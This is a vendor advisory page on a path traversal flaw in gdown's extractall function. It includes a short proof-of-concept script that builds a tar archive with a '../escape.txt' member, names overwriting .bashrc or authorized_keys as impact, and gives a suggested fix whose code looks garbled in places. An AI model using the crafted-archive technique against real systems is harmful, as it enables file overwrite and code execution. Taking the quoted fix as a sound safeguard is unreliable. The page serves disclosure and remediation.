GHSA-76hw-p97h-883f is a medium-severity (CVSS 6.5) Path Traversal vulnerability in gdown. A fix is available for gdown — see the affected versions and patch details below.
gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-76hw-p97h-883f.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-76hw-p97h-883f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gdownReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).
Details
The vulnerability exists in gdown/extractall.py within the extractall() function. The function takes an archive path and a destination directory (to), then calls the underlying extractall() method of Python's tarfile or zipfile modules without validating whether the archive members stay within the to boundary.
Vulnerable Code:
# gdown/extractall.py
def extractall(path, to=None):
# ... (omitted) ...
with opener(path, mode) as f:
f.extractall(path=to) # Vulnerable: No path validation or filters`
Even on modern Python versions (3.12+), if the filter parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.
PoC
Steps to Reproduce
- Create the Malicious Archive (
poc.py):
import tarfile
import io
import os
# Create a target directory
os.makedirs("./safe_target/subfolder", exist_ok=True)
# Generate a TAR file containing a member with path traversal
with tarfile.open("evil.tar", "w") as tar:
# Target: escape the subfolder and write to the parent 'safe_target'
payload = tarfile.TarInfo(name="../escape.txt")
content = b"Path Traversal Success!"
payload.size = len(content)
tar.addfile(payload, io.BytesIO(content))
print("[+] evil.tar created.")`
- Execute the Vulnerable Function:
`python3 -c "from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')"`
- Verify the Escape:
ls -l ./safe_target/escape.txt
# Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`
Impact
An attacker can provide a specially crafted archive that, when extracted via gdown, overwrites critical files on the victim's system.
- Arbitrary File Overwrite: Overwriting
.bashrc,.ssh/authorized_keys, or configuration files. - Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.
Recommended Mitigation
mplement path validation to ensure that all extracted files are contained within the target directory.
Suggested Fix:
import os
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonpath([abs_directory])
return os.path.commonpath([abs_directory, abs_target]) == prefix
# Inside [extractall.py](http://extractall.py/)
with opener(path, mode) as f:
if isinstance(f, tarfile.TarFile):
for member in f.getmembers():
member_path = os.path.join(to, [member.name](http://member.name/))
if not is_within_directory(to, member_path):
raise Exception("Attempted Path Traversal in Tar File")
f.extractall(path=to)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gdown | all versions | 5.2.2pip install --upgrade 'gdown==5.2.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gdown, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gdown to 5.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-76hw-p97h-883f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-76hw-p97h-883f can be triaged on real exposure rather than presence alone.
Tailored to GHSA-76hw-p97h-883f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-76hw-p97h-883f in your dependencies?
O3 Security finds GHSA-76hw-p97h-883f across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.